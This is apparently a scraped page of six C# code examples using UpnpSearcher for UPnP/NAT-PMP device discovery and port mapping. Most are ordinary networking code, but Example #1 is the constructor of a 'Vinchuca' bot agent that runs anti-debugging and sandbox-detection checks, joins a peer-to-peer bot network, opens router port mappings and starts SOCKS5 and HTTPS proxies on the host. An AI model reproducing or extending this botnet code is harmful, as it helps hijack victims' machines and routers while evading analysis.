Example #1
0
        public Agent(int port, BotIdentifier id)
        {
            BotIdentifier.Id = id;
            Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);

            _worker = ClientWorker.Instance;
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
            _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;


            if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
            {
                var upnpSearcher = new UpnpSearcher();
                upnpSearcher.DeviceFound += (s, e) =>
                {
                    PublicIP = e.Device.GetExternalIP();
                    Logger.Verbose("External IP Address: {0}", PublicIP);
                    try
                    {
                        var externalPort = BotIdentifier.Id.GetPort();
                        BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
                        var device = e.Device;
                        device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
                    }
                    catch (MappingException ex)
                    {
                        Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
                    }
                    finally
                    {
                        upnpSearcher.Stop();
                    }
                };
                upnpSearcher.Search();
            }

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;
            _communicationManager        = new CommunicationManager(_listener, _worker);
            var peersManager = new PeerManager(_communicationManager, _peerList, _worker);

            _messagesManager           = new MessageManager(peersManager);
            peersManager.MessageSender = _messagesManager;

            RegisterMessageHandlers(peersManager);

            var externPort = BotIdentifier.Id.GetPort();

            _socks5             = new Socks5Server(externPort + 1);
            _https              = new HttpsProxyServer(externPort + 2);
            _connectivityTester = new ConnectivityTester();
            _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
Example #2
0
        private static INatDevice GetDevice(CancellationToken cancellation)
        {
            UpnpSearcher searcher = new UpnpSearcher();
            var          device   = searcher.SearchAndReceive(cancellation);

            if (device == null)
            {
                NodeServerTrace.Information("No UPnP device found");
                return(null);
            }
            return(device);
        }
Example #3
0
        ///// <summary>
        ///// Sends a single (non-periodic) message to the specified IP address to see if it supports the
        ///// specified port mapping protocol, and begin listening indefinitely for responses.
        ///// </summary>
        ///// <param name="gatewayAddress">The IP address</param>
        ///// <param name="type"></param>
        //public void Search (IPAddress gatewayAddress, NatProtocol type)
        //{
        //	lock (Locker) {
        //		if (type == NatProtocol.Pmp) {
        //			PmpSearcher.Instance.SearchAsync (gatewayAddress).FireAndForget ();
        //		} else if (type == NatProtocol.Upnp) {
        //			UpnpSearcher.Instance.SearchAsync (gatewayAddress).FireAndForget ();
        //		} else {
        //			throw new InvalidOperationException ("Unsuported type given");
        //		}
        //	}
        //}

        /// <summary>
        /// Periodically send a multicast UDP message to scan for new devices, and begin listening indefinitely
        /// for responses.
        /// </summary>
        //  public void StartDiscovery(params NatProtocol [] devices)
        //	{
        //	}

        /// <summary>
        /// Stop listening for responses to the search messages, and cancel any pending searches.
        /// </summary>
        public void Dispose()
        {
            if (_pmpSearcher != null)
            {
                _pmpSearcher.Dispose();
                _pmpSearcher = null;
            }
            if (_upnpSearcher != null)
            {
                _upnpSearcher.Dispose();
                _upnpSearcher = null;
            }
        }
Example #4
0
        private async Task <IEnumerable <NatDevice> > DiscoverAsync(PortMapper portMapper, bool onlyOne, CancellationTokenSource cts)
        {
            TraceSource.LogInfo("Start Discovery");
            var searcherTasks = new List <Task <IEnumerable <NatDevice> > >();

            if (portMapper.HasFlag(PortMapper.Upnp))
            {
                var upnpSearcher = new UpnpSearcher(new IPAddressesProvider());
                upnpSearcher.DeviceFound += (sender, args) => { if (onlyOne)
                                                                {
                                                                    cts.Cancel();
                                                                }
                };
                searcherTasks.Add(upnpSearcher.Search(cts.Token));
            }
            if (portMapper.HasFlag(PortMapper.Pmp))
            {
                var pmpSearcher = new PmpSearcher(new IPAddressesProvider());
                pmpSearcher.DeviceFound += (sender, args) => { if (onlyOne)
                                                               {
                                                                   cts.Cancel();
                                                               }
                };
                searcherTasks.Add(pmpSearcher.Search(cts.Token));
            }

            await Task.WhenAll(searcherTasks);

            TraceSource.LogInfo("Stop Discovery");

            var devices = searcherTasks.SelectMany(x => x.Result);

            foreach (var device in devices)
            {
                var       key = device.ToString();
                NatDevice nat;
                if (Devices.TryGetValue(key, out nat))
                {
                    nat.Touch();
                }
                else
                {
                    Devices.Add(key, device);
                }
            }
            return(devices);
        }
Example #5
0
        private async Task <IEnumerable <NatDevice> > DiscoverAsync(PortMapper portMapper, bool onlyOne,
                                                                    CancellationTokenSource cts)
        {
            TraceSource.LogInfo("Start Discovery");
            var searcherTasks = new List <Task <IEnumerable <NatDevice> > >();

            if (portMapper.HasFlag(PortMapper.Upnp))
            {
                var upnpSearcher = new UpnpSearcher(new IPAddressesProvider());
                upnpSearcher.DeviceFound += (sender, args) => { if (onlyOne)
                                                                {
                                                                    cts.Cancel();
                                                                }
                };
                searcherTasks.Add(upnpSearcher.Search(cts.Token));
            }
            if (portMapper.HasFlag(PortMapper.Pmp))
            {
                throw new NotImplementedException();

                /*var pmpSearcher = new PmpSearcher(new IPAddressesProvider());
                 * pmpSearcher.DeviceFound += (sender, args) => { if (onlyOne) cts.Cancel(); };
                 * searcherTasks.Add(pmpSearcher.Search(cts.Token));*/
            }

            var devices = (await Task.WhenAll(searcherTasks).ConfigureAwait(false)).SelectMany(enumerable => enumerable.ToList()).ToList();

            TraceSource.LogInfo("Stop Discovery");

            foreach (var device in devices)
            {
                var       key = device.ToString();
                NatDevice nat;
                if (Devices.TryGetValue(key, out nat))
                {
                    nat.Touch();
                }
                else
                {
                    Devices.Add(key, device);
                }
            }
            return(devices);
        }
Example #6
0
        public async Task <bool> SearchAndConfigure(int[] localUdpPorts, int timeoutS = 20)
        {
            _upnpSearcher = new UpnpSearcher(this, d => Configure(d, localUdpPorts));
            _pmpSearcher  = new PmpSearcher(this, d => Configure(d, localUdpPorts));
            _pmpSearcher.SearchAsync().FireAndForget(this);
            _upnpSearcher.SearchAsync().FireAndForget(this);

            var sw = Stopwatch.StartNew();

            for (; ;)
            {
                await Task.Delay(10);

                if (_succeeded)
                {
                    return(true);
                }
                if (sw.Elapsed.TotalSeconds > timeoutS)
                {
                    return(false);
                }
            }
        }